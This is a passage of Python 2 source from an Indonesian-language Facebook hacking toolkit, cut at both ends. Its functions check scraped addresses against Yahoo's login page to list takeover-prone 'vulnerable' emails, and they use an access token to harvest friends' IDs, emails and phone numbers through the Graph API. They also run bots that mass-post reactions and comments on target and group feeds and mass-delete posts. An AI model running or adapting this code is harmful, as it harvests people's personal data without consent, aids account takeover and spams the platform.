'\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def yahoolist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m') try: total = open(files, 'r') mail = total.readlines() except IOError: print '\x1b[1;91m[!] File tidak ada' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m] Green[\x1b[1;92m' + vuln + '\x1b[1;97m]' print mail = open(files, 'r').readlines() for pw in mail: mail = pw.replace('\n', '') jml += 1 mpsh.append(jml) yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m ' + mail continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print '\x1b[1;92m ' + mail else: print '\x1b[1;91m ' + mail print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def grab(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Ambil ID teman' print '\x1b[1;37;40m2. Ambil ID teman dari teman' print '\x1b[1;37;40m3. Ambil ID member GRUP' print '\x1b[1;37;40m4. Ambil Email teman' print '\x1b[1;37;40m5. Ambil Email teman dari teman' print '\x1b[1;37;40m6. Ambil No HP teman' print '\x1b[1;37;40m7. Ambil No HP teman dari teman' print '\x1b[1;31;40m0. Kembali' print grab_pilih() def grab_pilih(): cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if cuih == '': print '\x1b[1;91m[!] Jangan kosong' grab_pilih() else: if cuih == '1': id_teman() else: if cuih == '2': idfrom_teman() else: if cuih == '3': id_member_grup() else: if cuih == '4': email() else: if cuih == '5': emailfrom_teman() else: if cuih == '6': nomor_hp() else: if cuih == '7': hpfrom_teman() else: if cuih == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mTidak ada' grab_pilih() def id_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_id, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['data']: idteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_id bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(save_id) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def idfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket) z = json.loads(r.text) save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_idt, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['friends']['data']: idfromteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_idt bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def id_member_grup(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') b = open(simg, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket) s = json.loads(re.text) for i in s['data']: idmem.append(i['id']) b.write(i['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + i['name'] print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idmem) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + simg b.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(simg) print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def email(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: em.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(em) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(mails) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def emailfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: emfromteman.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(emfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def nomor_hp(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') url = 'https://graph.facebook.com/me/friends?access_token=' + toket r = requests.get(url) z = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for n in z['data']: x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hp.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hp) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(noms) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def hpfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hpfromteman.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hpfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def menu_bot(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Bot Reactions Target Post' print '\x1b[1;37;40m2. Bot Reactions Grup Post' print '\x1b[1;37;40m3. Bot Komen Target Post' print '\x1b[1;37;40m4. Bot Komen Grup Post' print '\x1b[1;37;40m5. Mass delete Post' print '\x1b[1;37;40m6. Terima permintaan pertemanan' print '\x1b[1;37;40m7. Hapus pertemanan' print '\x1b[1;31;40m0. Kembali' print bot_pilih() def bot_pilih(): bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if bots == '': print '\x1b[1;91m[!] Jangan kosong' bot_pilih() else: if bots == '1': menu_react() else: if bots == '2': grup_react() else: if bots == '3': bot_komen() else: if bots == '4': grup_komen() else: if bots == '5': deletepost() else: if bots == '6': accept() else: if bots == '7': unfriend() else: if bots == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mTidak ada' bot_pilih() def menu_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print react_pilih() def react_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' react_pilih() else: if aksi == '1': tipe = 'LIKE' react() else: if aksi == '2': tipe = 'LOVE' react() else: if aksi == '3': tipe = 'WOW' react() else: if aksi == '4': tipe = 'HAHA' react() else: if aksi == '5': tipe = 'SAD' react() else: if aksi == '6': tipe = 'ANGRY' react() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' react_pilih() def react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') try: oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksi.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksi)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print reactg_pilih() def reactg_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' reactg_pilih() else: if aksi == '1': tipe = 'LIKE' reactg() else: if aksi == '2': tipe = 'LOVE' reactg() else: if aksi == '3': tipe = 'WOW' reactg() else: if aksi == '4': tipe = 'HAHA' reactg() else: if aksi == '5': tipe = 'SAD' reactg() else: if aksi == '6': tipe = 'ANGRY' reactg() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' reactg_pilih() def reactg(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] try: oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksigrup.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksigrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def bot_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komen.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komen)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komengrup.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komengrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def deletepost(): os.system('reset') try: toket = open('login.txt', 'r').read() nam = requests.get('https://graph.facebook.com/me?access_token=' + toket) lol = json.loads(nam.text) nama = lol['name'] except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama jalan('\x1b[1;91m[+] \x1b[1;92mMulai menghapus postingan unfaedah\x1b[1;97m ...') print 40 * '\x1b[1;97m\xe2\x95\x90' asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket) asus = json.loads(asu.text) for p in asus['data']: id = p['id'] piro = 0 url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket) ok = json.loads(url.text) try: error = ok['error']['message'] print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mGagal' except TypeError: print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mTerhapus' piro += 1 except requests.exceptions.ConnectionError: print 